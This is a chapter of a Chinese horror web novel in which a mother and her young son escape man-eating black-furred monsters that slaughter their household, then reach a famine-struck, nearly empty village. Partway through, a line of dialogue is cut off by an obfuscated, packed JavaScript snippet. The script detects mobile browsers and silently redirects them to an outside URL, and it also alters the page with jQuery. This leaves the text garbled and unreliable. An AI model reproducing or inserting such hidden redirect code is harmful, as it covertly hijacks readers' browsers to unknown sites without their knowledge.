“她没回来么?”英娘的心中有些惴惴不安。 “……还没回来。” “坏了……”英娘眉头紧锁,呼吸渐渐局促,“这声音听着有几分像蓉儿。” “夫人,莫要担心。”傅成拔出腰中的宝剑走来,“我叫几个人去寻蓉儿姑娘。” “傅成,你留下。”傅观文忙道。 “老爷放心,我定守着你们。” 说话间,已有三个仆从提刀朝那林中走去。 “都怪你,当初我们就该走官道。”英娘颤抖着声音嗔怪道。 “说不定是方才那老头指错了路……”傅观文一脸不服气的模样。 “若不是你要走近道,我们又怎么会在这儿!?” 英娘话音刚落,树林里又传来一声惨叫,这回那声音离得更近了。 前去树林的仆从刚走到一半,忽然停住脚步。 只见齐腰深的野草丛中一个浑身是血的女子跌跌撞撞奔来,她的右边胳膊像是被什么东西啃食了一半,不见手臂,徒留血肉。 “夫人……!”她气喘吁吁喊道。 众人屏息朝那方向望去,试图听清她的话。 “夫人……快跑!” 蓉儿说完最后一句话便摔倒在地上,这时她的身后突然跳出一只浑身黑毛的怪物,一口咬断她的头颅,抛在空中,吞进肚里。 三个仆从见状呆在原地,无人敢上前。 英娘吓得瘫坐在地上,满脸煞白,张大了嘴巴却发不出声。 宋镜柔站起身,还不知发生了什么。 傅观文则瞪着惊恐的双眼,浑身僵直,挪不动腿。 “爹爹……”傅鸿轻轻拽着傅观文的衣袖,“爹爹,您瞧,猿猴……” 傅观文不知所以地望了他一眼,旋即朝他指的方向转身望去。 一只比他方才见到的还要大上一倍的黑毛怪物,不知何时潜伏在他身后,正张着满是尖牙的血盆大口盯住他。 “妖怪!” 傅观文大喊一声,那黑毛怪物迅即扑了上来。周遭的人听闻忙往四处逃离,可不知怎的,周围的草丛里霎时间冒出十几只黑毛怪,形成包围之势。 傅观文为躲避黑毛怪,翻身扑倒在地上,吃了一嘴泥灰。他转头望向那黑毛怪,却发现它站在人群中心,正要往摔在地上不知所措的傅鸿奔去。 这时,一块石头砸中那黑毛怪的脑袋,黑毛怪扭身望去,正是宋镜柔。 它似被激怒,双脚只轻轻在地上弹了几下,便一跃而起跳到欲逃跑的宋镜柔的背上,宋镜柔被它直接踹倒在地、压在身上。 锋利的爪子穿过衣裳刺进肉里,宋镜柔忍住剧痛趴在地上,浑身发抖不敢动弹。 她感到后颈一阵粗重的恶臭气息,不时有冰凉的水珠滴在她的头上。 宋镜柔咬紧牙关闭上眼睛,眼角几滴泪水涌出。 英娘站在一旁趁机将傅鸿抱在怀里,朝最近的马车行去。 宋镜柔静待着自己的死亡,可等了许久,那怪物竟只是嗅了几回便失了兴趣,从她的背上跳下。 “傅成,快杀了它!”傅观文朝傅成喊道。 傅成立即挥刀与那怪物缠斗起来。 宋镜柔从地上坐起环顾四周,周围数不清的黑毛怪物,正啃食着逃跑的仆从和手无缚鸡之力的丫鬟,一时间尖叫声哭声不绝于耳,鲜血满地。 她恍惚地搜寻着傅鸿的踪影,终于在马车旁看见了被英娘抱在怀里的傅鸿,可她的眼中却忽然闪过一丝惊恐。 英娘紧紧地抱着傅鸿,她正欲上马车,却瞥见地上升起一个巨大的黑影。那黑影长了两颗头,似站在马车顶。 一阵奇怪的啜泣声传来,英娘缓缓抬头看向马车顶———一只巨大无比、身形魁梧的黑毛怪趴在车顶俯视着她。它长着两颗头,一颗似人的头,长着一张惨白的人脸,正闭眼哭泣。另一颗则是长满黑毛、似猿非猿、狰狞的怪物头。 那怪物蹲在车顶,朝英娘张开血盆大口。 英娘颤抖着后退了几步:“你……你到底是什么东西!?” 这时妖怪上的人头睁开眼睛,他呆滞的眼中布满血丝,充斥着惊恐与无助。他望着英娘,又望了眼她怀中的傅鸿,随即痛苦地闭上眼睛,满脸泪痕。 英娘正盯着那颗人头,忽然马车上的妖怪怒吼一声从车顶上一跃而下,朝英娘奔去。 在这瞬间,英娘将怀中的傅鸿猛地扔向一旁。傅鸿被一股巨大的力量扔在野草丛中,脸上划了无数血痕。 他回头一望,只见英娘已被那只妖怪咬住了喉咙,顿时鲜血四溅。 “鸿儿……快过来……” 宋镜柔在地上匍匐前进,她悄悄靠近傅鸿,将他拉到自己身边。 傅鸿小小的身躯不停地打着寒颤,一双惊惧的眼眸失了神,半天说不出一句话。他任由母亲拽着自己,又被宋镜柔往脸上抹了不知名的黑粉。 “定是因为这草木灰,妖怪才没吃我……”宋镜柔声音颤抖道,她的手仍一丝不苟地朝傅鸿身上抹着草木灰。 “他们不会吃你的……”宋镜柔嘴里反复念叨着,她瞥了眼英娘的方向,此时地上只剩了一只残臂。 宋镜柔立即转回目光,泪水不断从眼中溢出。 这时不远处传来傅成的惨叫,先前与他搏斗的黑毛怪一口咬住他握刀的手臂,将他的手臂扯断,连刀扔出几丈远。 傅成不敌,一个踉跄跌倒在地上。 “老爷!老爷快救我!” 傅观文见此情形,惊恐得连连后退。那黑毛怪跳到傅成背上,一口咬断他的喉咙,傅成立时没了声息。 趁着黑毛怪啃食傅成的空当儿,傅观文兀自朝马车跑去。 宋镜柔则抱着傅鸿,在双头黑毛怪的眼皮底下悄悄挪动身子。双头黑毛怪将英娘的最后一只残臂吃进了肚子,它似还不满足,抬头一眼望见了正缓缓挪动的宋镜柔母子。 宋镜柔心中一惊,她一面捂住傅鸿的嘴巴,一面努力克制内心的恐惧,不令自己惊出声。 双头黑毛怪满身是血,嘴角流着带血的涎水。它露出尖锐的獠牙,死死地盯着宋镜柔的一举一动。 它的眼中闪烁着凶狠的寒光,眼底尽是贪婪,它对自己的力量深信不疑,庞大身躯上的每一块肌肉都蓄势待发,不肯放过眼前的一丝破绽。 也许它唯一的不足便是肩上那颗哭泣的人头,与整个身子格格不入,怪异非常。 宋镜柔从未觉得如此煎熬,那颗哭泣的人头如同丧钟,在一丝一毫地瓦解她心中脆弱不堪的防线。 忽然,地上传来车轮滚动的声音,双头黑毛怪立即循声望去。 此时的宋镜柔才敢稍微偏头查看,只见傅观文站在马车上,正欲挥鞭驾车离去。 可是马车的声响惊动了周遭数十只黑毛怪,连同宋镜柔面前的双头黑毛怪,它们似被激发出狩猎的本性,一窝蜂地朝行驶的马车追赶包围。 双头黑毛怪前脚刚离开,宋镜柔便快速站起身,一手抱住傅鸿,一手不忘捡起傅成的刀,拼命朝一个方向逃去。 身后很快传来马匹的嘶鸣,接着便是傅观文的一声惨叫。 宋镜柔不敢回头,她奔逃的脚步早已不听使唤。 傅鸿趴在她的肩上,小声唤道:“爹爹……” 世间的一切都在宋镜柔的眼前胡乱地颤动,树林里的每一棵树都模糊了线条,朝宋镜柔的身后飞舞。 面前的路似没有尽头,宋镜柔跑了许久仍在树林之中。 “娘……” 傅鸿带着哭腔在她的肩上唤着,可宋镜柔停不下脚步,即便她的呼吸声已越来越粗重。 “娘!……” 一声哭喊顿时让宋镜柔从慌乱中惊醒,可她刚刚回过神,便一脚踩空摔倒在枯叶之中。 手中的刀飞向一旁,傅鸿也摔在地上。 “鸿儿!?你没事罢?” “娘……鸿儿身上疼……”傅鸿爬到宋镜柔身旁,掀起衣裳,露出后背的一道红印。 宋镜柔这才意识到是自己将他抱得太紧,生生勒出了红印。 “对不起……是娘的错……”宋镜柔失声哽咽道。 “娘,你的手流血了。” 傅鸿小小的手抓住宋镜柔的手腕,宋镜柔发现自己的手不知何时被刀划破,止不住地颤抖。 “娘没事。”宋镜柔将傅鸿背起,捡起地上的刀,惊魂未定道:“我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846440|156119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能停下……” “娘,它们不见了。” “不……它们跑得很快,随时会追上我们,我们要在天黑前找到藏身之处。” 宋镜柔望了眼西斜的日光,不敢慢下步子,她以刀作拐继续朝林中行去。 “娘,爹爹是不是死了?”傅鸿稚声稚气地问道。 “鸿儿别怕,有娘在。” “娘,为什么它们要吃人?” 宋镜柔一刀斩断遮挡道路的树枝:“娘也不知道……” 傅鸿噤了声,靠在娘亲的脖子上,不知在想些什么。 宋镜柔一直朝东行走,终于出了林子。此刻她已筋疲力尽,握刀的手仍在颤抖。她抬眸朝天边望去,不远处隐约有一个村舍。 看到村舍的那一刻,宋镜柔立刻恢复了不少力气。 “鸿儿,前面有村落,我们今晚有去处了。” “唔……”傅鸿有气无力地应着。 “你是不是饿了?”宋镜柔听着傅鸿的语气加快了步伐,“快到了,快到了……” 夕阳悬在天边,宋镜柔终于走近那座村落。 可环顾四周,附近田野里颗粒无收,只剩一大片焦黄枯萎的秸秆,田地里干涸无比,布满裂纹。 再朝村子里望去,日暮时分,不见一个烟囱有生火的迹象。 “奇怪……” 宋镜柔疑惑地继续向前走,村子里只剩空荡荡的房屋,没有人影。 “有人么?可否讨碗水喝?” 宋镜柔朝静悄悄的村子里喊了几声,无人应答,她正欲向下一户人家行去,身后忽然传来急促的脚步声,紧接着便有一股蛮力拉扯着她背上的傅鸿。 宋镜柔迅速反应过来,她紧紧抓住傅鸿,立即转身提刀指向来人。 “谁?你要干什么!?” 原以为是黑毛怪追了上来,没想到站在眼前的是一个瘦骨嶙峋的老头。那老头穿着破烂不堪的衣裳,头发干枯凌乱,嘴唇毫无血色,一双混浊的眼眸仍盯着被宋镜柔护在身后的傅鸿。 他颤巍巍地伸出如树皮般粗糙的双手,无视面前的刀朝宋镜柔走了几步。 “不许向前!你要是再过来………我就杀了你!” 听到宋镜柔的怒喝,老人停住脚步,眼神变得十分哀怨:“孩子……我的孩子……” “你看清楚了!这是我的孩子,不是你的孩子!” “你的孩子?”老人皱巴巴的面皮滚下一滴泪水,眼中的哀怨顿时变为愤怒,“那我的孩子呢?你把我的孩子藏哪儿去了?你是不是……吃了我的孩子!?” “你在胡说八道什么?”宋镜柔一头雾水,“我初到此地,怎会知晓你的孩子在哪儿?” “不……一定是你吃了我的孩子,你还我的孩子!” 说罢老人便直直地要往刀口上撞,这时不知从哪儿突然冒出一个女孩,将老人重重地推向一旁,老人摔倒在地,自顾自地哭嚎起来。 “你又是谁?” 宋镜柔后退几步,将女孩打量一番。那女孩看起来比自己小很多,四肢瘦得像枝条,头发散乱,满脸脏污,只剩一双眼睛还留有几分稚气。 “姐姐,求求您不要杀他……”女孩的声音十分细弱。 “我没想杀他,是他要抢我的孩子,我不过是来讨口水喝。” 女孩低下头:“他是个疯子,姐姐,您饶了他罢。” 宋镜柔看了眼趴在地上痛哭的老人,又看向女孩:“你叫什么名字?他是你什么人?” 女孩抬眸轻声道:“我叫阿苗,我们都是这个村里的,住得很近。” 宋镜柔将刀缓缓放下:“这个村里的人都去哪儿了?” “他们……有的跑了,有的饿死了……”阿苗低垂眼角,语气虚弱道:“村子里只剩下我们了。” “什么……”宋镜柔想起在村前见到的枯死的庄稼,不由得叹了口气,“那你们为何还要留在这里?” “阿伯疯了,我也没有家人,不知道要去哪里……”阿苗摇了摇头,眼神有些茫然,“姐姐,你有吃的么?” 宋镜柔摇摇头:“我们是逃难来的,你可见过浑身长黑毛,吃人的怪物?” 阿苗撑着羸弱的身子走了几步坐在地上:“吃人的怪物……我好像见过,但是他们没长黑毛……” “没长黑毛?” “对,阿伯的孩子就是被他们吃了。”